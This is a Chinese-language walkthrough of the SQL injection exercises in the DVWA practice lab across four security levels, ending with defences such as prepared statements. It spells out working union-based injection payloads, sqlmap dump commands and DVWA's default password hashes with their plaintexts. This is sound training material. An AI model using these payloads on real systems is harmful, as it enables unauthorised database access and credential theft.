DVWA官方文档 SQLmap用户手册 OWASP SQL注入防护指南 MySQL官方文档 希望本文能帮助你理解SQL盲注的原理、利用技巧和防御方法,在今后的安全测试和开发工作中更好地应用这些知识。记住,技术本身无善恶,取决于使用技术的人的目的和方式。 免责声明:本文仅用于教育目的和安全研究,请勿用于非法用途。对于任何滥用本文所述技术的行为,作者不承担任何责任。
-
DVWA靶场SQL注入通关详解(Low/Medium/High/Impossible) DVWA靶场SQL注入通关详解(Low/Medium/High/Impossible) 深入掌握SQL注入技巧,从零开始通关DVWA靶场SQL注入是Web安全领域最常见也是最危险的漏洞之一。DVWA(Damn Vulnerable Web Application)作为一个专门用于安全练习的靶场,提供了从低到高四个安全级别的SQL注入环境。本文将详细讲解每个级别的通关技巧和防御原理。 1 SQL注入原理简介 SQL注入(SQL Injection)是指攻击者通过将恶意SQL代码插入到Web应用程序的输入参数中,欺骗服务器执行这些恶意代码的攻击方式。当Web应用程序没有对用户输入进行充分过滤或验证时,就可能发生这种漏洞。 SQL注入的主要危害包括: 数据库敏感信息泄露 数据库数据被篡改 服务器被接管 攻击内网其他系统 2 DVWA环境搭建 DVWA是一个使用PHP/MySQL开发的Web应用程序,可以在多种平台上运行(Windows/Linux with XAMPP、WAMP或LAMP)。 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 登录(默认用户名/密码:admin/password) 安全级别设置: 在DVWA首页可以设置四个安全级别: Low:低级安全(无任何防护) Medium:中级安全(基础过滤) High:高级安全(较强防护) Impossible:顶级安全(近乎完美防护) 3 Low级别通关详解 3.1 漏洞分析 Low级别的源码完全没有进行任何过滤: $id = $_REQUEST['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";用户输入的id参数直接拼接到SQL语句中,存在明显的字符型SQL注入漏洞。 3.2 注入步骤 3.2.1 判断注入点类型 首先输入正常值观察回显: id=1回显正常,显示用户ID为1的用户名。 接着测试注入类型,输入: id=1'页面报错,说明存在字符型注入,且使用单引号闭合。 3.2.2 确定字段数 使用order by语句判断查询结果的字段数: id=1' order by 2# 回显正常 id=1' order by 3#回显错误,说明字段数为2。 3.2.3 查找回显点 使用union联合查询确定回显位置: id=-1' union select 1,2#页面显示1和2,说明两个位置都可以回显。 3.2.4 获取数据库信息 获取当前数据库和版本信息: id=-1' union select database(),version()#回显结果为:数据库名dvwa,MySQL版本号。 3.2.5 获取表名 id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#回显显示有两个表:guestbook和users。 3.2.6 获取列名 id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#回显显示users表有多个字段,包括user_id, first_name, last_name, user, password等。 3.2.7 提取数据 获取所有用户名和密码: id=-1' union select group_concat(user),group_concat(password) from users#回显所有用户名和经过MD5加密的密码。 DVWA用户默认密码: 用户名MD5密码明文密码admin5f4dcc3b5aa765d61d8327deb882cf99passwordgordonbe99a18c428cb38d5f260853678922e03abc12313378d3533d75ae2c3966d7e0d4fcc69216bcharleypablo0d107d09f5bbe40cade3de5c71e9e9b7letmeinsmithy5f4dcc3b5aa765d61d8327deb882cf99password可以使用在线MD5解密网站破解这些哈希值。 3.3 自动化工具注入 使用SQLmap工具可以自动化完成上述过程: 登录DVWA后获取Cookie值 使用以下命令进行注入: sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=<your-session-id>" \ --batch --dbs或者 sqlmap -u "https://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="security=low; PHPSESSID=<your-session-id>" --current-db --batch1.png图片 2.png图片 获取数据库后,进一步提取表、字段和数据: sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=<your-session-id>" \ -D dvwa -T users --dump3.png图片 4 Medium级别通关详解 4.1 漏洞分析 Medium级别使用了mysqli_real_escape_string()函数对输入进行转义: $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);此函数转义以下字符:\x00, \n, \r, \, ', "和\x1a。 但是查询语句发生了变化: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";注意这里不再使用引号包围$id,说明是数字型注入,因此转义函数无法防止注入。 4.2 注入步骤 4.2.1 判断注入类型 由于前端改为下拉菜单,需要使用Burp Suite等工具抓包修改参数。 抓包后修改id参数为: id=1 or 1=1#页面显示所有用户信息,说明存在数字型注入。 4.2.2 确定字段数 id=1 order by 2#回显正常 id=1 order by 3#回显错误,确定字段数为2。 4.2.3 获取数据库信息 后续步骤与Low级别类似,但需要注意: 不需要单引号闭合 如果需要查询指定表名,需要将表名转换为十六进制绕过过滤 例如查询users表的列名: id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#这里0x7573657273是users的十六进制表示。 5 High级别通关详解 5.1 漏洞分析 High级别的SQL查询语句增加了LIMIT 1限制: $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";这旨在限制只返回一个结果,但可以通过注释符#绕过这一限制。 5.2 注入步骤 High级别的注入点位于另一个页面,需要通过点击"here to change your ID"链接进入。 注入过程与Low级别类似,只需要在注入payload末尾添加#注释掉后面的LIMIT 1: id=1' union select user,password from users# 这样就能获取所有用户信息,而不受LIMIT 1的限制。 6 Impossible级别防御分析 Impossible级别采用了多种安全措施,有效防止了SQL注入: 6.1 PDO预处理语句 $data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;'); $data->bindParam(':id', $id, PDO::PARAM_INT); $data->execute();使用PDO预处理语句将代码与数据完全分离,用户输入不再被解释为SQL代码的一部分。 6.2 输入类型检查 if(is_numeric($id))检查输入是否为数字类型,确保输入符合预期格式。 6.3 结果数量检查 if($data->rowCount() == 1)确保只返回一个结果,防止信息泄露。 6.4 CSRF令牌保护 checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');实施CSRF令牌机制,防止CSRF攻击。 7 SQL注入防御方案 根据DVWA四个级别的防护措施,总结SQL注入的有效防御方案: 使用预处理语句(PDO或MySQLi) 这是最有效、最根本的防御方式,能彻底分离代码和数据。 严格输入验证和过滤 对用户输入进行严格的白名单验证,只允许符合特定格式的输入。 最小权限原则 Web应用程序连接数据库时应使用最低权限账户,避免使用管理员账户。 错误信息处理 自定义错误信息,避免向用户暴露数据库结构信息。 多层安全防护 使用WAF、IDS/IPS等安全设备提供额外保护层。 8 总结 通过DVWA四个级别的SQL注入实验,我们可以得出以下结论: Low级别:完全没有防护,最容易利用,但也最能展示SQL注入的原理和危害。 Medium级别:试图通过转义特殊字符进行防护,但由于注入类型判断错误,防护效果有限。 High级别:增加了结果数量限制,但可以通过简单注释绕过,防护仍不完善。 Impossible级别:采用预处理语句、输入验证和多层防护,提供了有效的安全保障。 最重要的是:在实际开发中,应该始终使用Prepared Statements(预处理语句)来防止SQL注入攻击,这是唯一被证明有效且全面的防御方式。 希望本文能帮助你理解SQL注入的原理、利用技巧和防御方法,在今后的开发和测试工作中更好地应用这些知识。